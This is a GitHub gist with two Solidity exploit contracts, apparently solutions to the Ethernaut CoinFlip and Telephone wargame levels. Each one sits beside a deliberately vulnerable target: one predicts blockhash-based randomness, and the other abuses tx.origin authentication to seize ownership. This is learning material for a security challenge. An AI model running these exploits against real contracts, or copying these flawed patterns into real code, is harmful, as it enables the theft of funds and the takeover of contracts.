Last active
June 6, 2018 02:51
-
-
Save microchipgnu/5f9ac3e03cfc89104a2f5e10f739934c to your computer and use it in GitHub Desktop.
Created using remix-ide: Realtime Ethereum Contract Compiler and Runtime. Load this file by pasting this gists URL or ID at https://remix.ethereum.org/#version=soljson-v0.4.24+commit.e67f0147.js&optimize=false&gist=
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.18; | |
contract CoinFlip { | |
uint256 public consecutiveWins; | |
uint256 lastHash; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
function CoinFlip() public { | |
consecutiveWins = 0; | |
} | |
function flip(bool _guess) public returns (bool) { | |
uint256 blockValue = uint256(block.blockhash(block.number-1)); | |
if (lastHash == blockValue) { | |
revert(); | |
} | |
lastHash = blockValue; | |
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); | |
bool side = coinFlip == 1 ? true : false; | |
if (side == _guess) { | |
consecutiveWins++; | |
return true; | |
} else { | |
consecutiveWins = 0; | |
return false; | |
} | |
} | |
} | |
contract hack { | |
CoinFlip public flipper; | |
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968; | |
bool public side; | |
function setContract(){ | |
flipper = CoinFlip(0xbc2051712b529dee6f5fb105b9be3712fc176bf6); | |
} | |
function play() returns (bool){ | |
uint256 blockValue = uint256(block.blockhash(block.number-1)); | |
uint256 coinFlip = uint256(uint256(blockValue) / FACTOR); | |
side = coinFlip == 1 ? true : false; | |
bool result = flipper.flip(side); | |
return true; | |
} | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
pragma solidity ^0.4.18; | |
contract Telephone { | |
address public owner; | |
function Telephone() public { | |
owner = msg.sender; | |
} | |
function changeOwner(address _owner) public { | |
if (tx.origin != msg.sender) { | |
owner = _owner; | |
} | |
} | |
} | |
contract hack{ | |
Telephone public tele; | |
function setTelephoneContract(){ | |
tele = Telephone(0x26f2c7415b652a21f307a4ef60a164a0f847098d); | |
} | |
function hackOwner() public { | |
tele.changeOwner(msg.sender); | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment